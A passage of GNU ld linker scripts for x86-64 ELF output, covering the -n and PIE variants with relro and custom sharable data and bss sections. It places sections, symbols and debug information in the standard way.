  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.sharable_data	  : { *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*) }
  .rela.sharable_bss	  : { *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.ifunc     : { *(.rela.ifunc) }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = .;
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -n: mix text and data on same page */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.init      : { *(.rela.init) }
  .rela.text      : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) }
  .rela.fini      : { *(.rela.fini) }
  .rela.rodata    : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) }
  .rela.data.rel.ro   : { *(.rela.data.rel.ro* .rela.gnu.linkonce.d.rel.ro.*) }
  .rela.data      : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) }
  .rela.tdata	  : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) }
  .rela.tbss	  : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) }
  .rela.ctors     : { *(.rela.ctors) }
  .rela.dtors     : { *(.rela.dtors) }
  .rela.got       : { *(.rela.got) }
  .rela.sharable_data	  : { *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*) }
  .rela.sharable_bss	  : { *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*) }
  .rela.bss       : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) }
  .rela.ldata     : { *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*) }
  .rela.lbss      : { *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*) }
  .rela.lrodata   : { *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*) }
  .rela.ifunc     : { *(.rela.ifunc) }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (24, .);
  .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc -z now -z relro: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
      *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*)
      *(.rela.ctors)
      *(.rela.dtors)
      *(.rela.got)
      *(.rela.sharable_data .rela.sharable_data.* .rela.gnu.linkonce.shrd.*)
      *(.rela.sharable_bss .rela.sharable_bss.* .rela.gnu.linkonce.shrb.*)
      *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*)
      *(.rela.ldata .rela.ldata.* .rela.gnu.linkonce.l.*)
      *(.rela.lbss .rela.lbss.* .rela.gnu.linkonce.lb.*)
      *(.rela.lrodata .rela.lrodata.* .rela.gnu.linkonce.lr.*)
      *(.rela.ifunc)
    }
  .rela.plt       :
    {
      *(.rela.plt)
      PROVIDE_HIDDEN (__rela_iplt_start = .);
      *(.rela.iplt)
      PROVIDE_HIDDEN (__rela_iplt_end = .);
    }
  .init           :
  {
    KEEP (*(.init))
  } =0x90909090
  .plt            : { *(.plt) *(.iplt) }
  .text           :
  {
    *(.text.unlikely .text.*_unlikely)
    *(.text .stub .text.* .gnu.linkonce.t.*)
    /* .gnu.warning sections are handled specially by elf32.em.  */
    *(.gnu.warning)
  } =0x90909090
  .fini           :
  {
    KEEP (*(.fini))
  } =0x90909090
  PROVIDE (__etext = .);
  PROVIDE (_etext = .);
  PROVIDE (etext = .);
  .rodata         : { *(.rodata .rodata.* .gnu.linkonce.r.*) }
  .rodata1        : { *(.rodata1) }
  .eh_frame_hdr : { *(.eh_frame_hdr) }
  .eh_frame       : ONLY_IF_RO { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) }
  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));
  /* Exception handling  */
  .eh_frame       : ONLY_IF_RW { KEEP (*(.eh_frame)) }
  .gcc_except_table   : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) }
  /* Thread Local Storage sections  */
  .tdata	  : { *(.tdata .tdata.* .gnu.linkonce.td.*) }
  .tbss		  : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) }
  .preinit_array     :
  {
    PROVIDE_HIDDEN (__preinit_array_start = .);
    KEEP (*(.preinit_array))
    PROVIDE_HIDDEN (__preinit_array_end = .);
  }
  .init_array     :
  {
     PROVIDE_HIDDEN (__init_array_start = .);
     KEEP (*(SORT(.init_array.*)))
     KEEP (*(.init_array))
     PROVIDE_HIDDEN (__init_array_end = .);
  }
  .fini_array     :
  {
    PROVIDE_HIDDEN (__fini_array_start = .);
    KEEP (*(.fini_array))
    KEEP (*(SORT(.fini_array.*)))
    PROVIDE_HIDDEN (__fini_array_end = .);
  }
  .ctors          :
  {
    /* gcc uses crtbegin.o to find the start of
       the constructors, so we make sure it is
       first.  Because this is a wildcard, it
       doesn't matter if the user does not
       actually link against crtbegin.o; the
       linker won't look for a file to match a
       wildcard.  The wildcard also means that it
       doesn't matter which directory crtbegin.o
       is in.  */
    KEEP (*crtbegin.o(.ctors))
    KEEP (*crtbegin?.o(.ctors))
    /* We don't want to include the .ctor section from
       the crtend.o file until after the sorted ctors.
       The .ctor section from the crtend file contains the
       end of ctors marker and it must be last */
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors))
    KEEP (*(SORT(.ctors.*)))
    KEEP (*(.ctors))
  }
  .dtors          :
  {
    KEEP (*crtbegin.o(.dtors))
    KEEP (*crtbegin?.o(.dtors))
    KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors))
    KEEP (*(SORT(.dtors.*)))
    KEEP (*(.dtors))
  }
  .jcr            : { KEEP (*(.jcr)) }
  .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro* .gnu.linkonce.d.rel.ro.*) }
  .dynamic        : { *(.dynamic) }
  .got            : { *(.got.plt) *(.igot.plt) *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (0, .);
  .data           :
  {
    *(.data .data.* .gnu.linkonce.d.*)
    SORT(CONSTRUCTORS)
  }
  .data1          : { *(.data1) }
  /* Sharable data sections.  */
  .sharable_data   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_data_start = .);
    *(.sharable_data .sharable_data.* .gnu.linkonce.shrd.*)
    /* Align here to ensure that the sharable data section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_data_end = .);
  }
  _edata = .; PROVIDE (edata = .);
  __bss_start = .;
  .bss            :
  {
   *(.dynbss)
   *(.bss .bss.* .gnu.linkonce.b.*)
   *(COMMON)
   /* Align here to ensure that the .bss section occupies space up to
      _end.  Align after .bss to ensure correct alignment even if the
      .bss section disappears because there are no input sections.
      FIXME: Why do we need it? When there is no .bss section, we don't
      pad the .data section.  */
   . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  .lbss   :
  {
    *(.dynlbss)
    *(.lbss .lbss.* .gnu.linkonce.lb.*)
    *(LARGE_COMMON)
  }
  /* Sharable bss sections  */
  .sharable_bss   : ALIGN(CONSTANT (MAXPAGESIZE))
  {
    PROVIDE_HIDDEN (__sharable_bss_start = .);
    *(.dynsharablebss)
    *(.sharable_bss .sharable_bss.* .gnu.linkonce.shrb.*)
    *(SHARABLE_COMMON)
    /* Align here to ensure that the sharable bss section ends at the
       page boundary.  */
    . = ALIGN(. != 0 ? CONSTANT (MAXPAGESIZE) : 1);
    PROVIDE_HIDDEN (__sharable_bss_end = .);
  }
  . = ALIGN(64 / 8);
  .lrodata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.lrodata .lrodata.* .gnu.linkonce.lr.*)
  }
  .ldata   ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1)) :
  {
    *(.ldata .ldata.* .gnu.linkonce.l.*)
    . = ALIGN(. != 0 ? 64 / 8 : 1);
  }
  . = ALIGN(64 / 8);
  _end = .; PROVIDE (end = .);
  . = DATA_SEGMENT_END (.);
  /* Stabs debugging sections.  */
  .stab          0 : { *(.stab) }
  .stabstr       0 : { *(.stabstr) }
  .stab.excl     0 : { *(.stab.excl) }
  .stab.exclstr  0 : { *(.stab.exclstr) }
  .stab.index    0 : { *(.stab.index) }
  .stab.indexstr 0 : { *(.stab.indexstr) }
  .comment       0 : { *(.comment) }
  /* DWARF debug sections.
     Symbols in the DWARF debugging sections are relative to the beginning
     of the section so we begin them at 0.  */
  /* DWARF 1 */
  .debug          0 : { *(.debug) }
  .line           0 : { *(.line) }
  /* GNU DWARF 1 extensions */
  .debug_srcinfo  0 : { *(.debug_srcinfo) }
  .debug_sfnames  0 : { *(.debug_sfnames) }
  /* DWARF 1.1 and DWARF 2 */
  .debug_aranges  0 : { *(.debug_aranges) }
  .debug_pubnames 0 : { *(.debug_pubnames) }
  /* DWARF 2 */
  .debug_info     0 : { *(.debug_info .gnu.linkonce.wi.*) }
  .debug_abbrev   0 : { *(.debug_abbrev) }
  .debug_line     0 : { *(.debug_line) }
  .debug_frame    0 : { *(.debug_frame) }
  .debug_str      0 : { *(.debug_str) }
  .debug_loc      0 : { *(.debug_loc) }
  .debug_macinfo  0 : { *(.debug_macinfo) }
  /* SGI/MIPS DWARF 2 extensions */
  .debug_weaknames 0 : { *(.debug_weaknames) }
  .debug_funcnames 0 : { *(.debug_funcnames) }
  .debug_typenames 0 : { *(.debug_typenames) }
  .debug_varnames  0 : { *(.debug_varnames) }
  /* DWARF 3 */
  .debug_pubtypes 0 : { *(.debug_pubtypes) }
  .debug_ranges   0 : { *(.debug_ranges) }
  .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) }
  /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

/* Script for -pie -z combreloc: position independent executable, combine & sort relocs */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
	      "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/i686-redhat-linux/lib64"); SEARCH_DIR("/usr/local/lib64"); SEARCH_DIR("/lib64"); SEARCH_DIR("/usr/lib64"); SEARCH_DIR("/usr/i686-redhat-linux/lib"); SEARCH_DIR("/usr/local/lib"); SEARCH_DIR("/lib"); SEARCH_DIR("/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  . = SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }
  .gnu.version    : { *(.gnu.version) }
  .gnu.version_d  : { *(.gnu.version_d) }
  .gnu.version_r  : { *(.gnu.version_r) }
  .rela.dyn       :
    {
      *(.rela.init)
      *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*)
      *(.rela.fini)
      *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*)
      *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*)
      *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*)
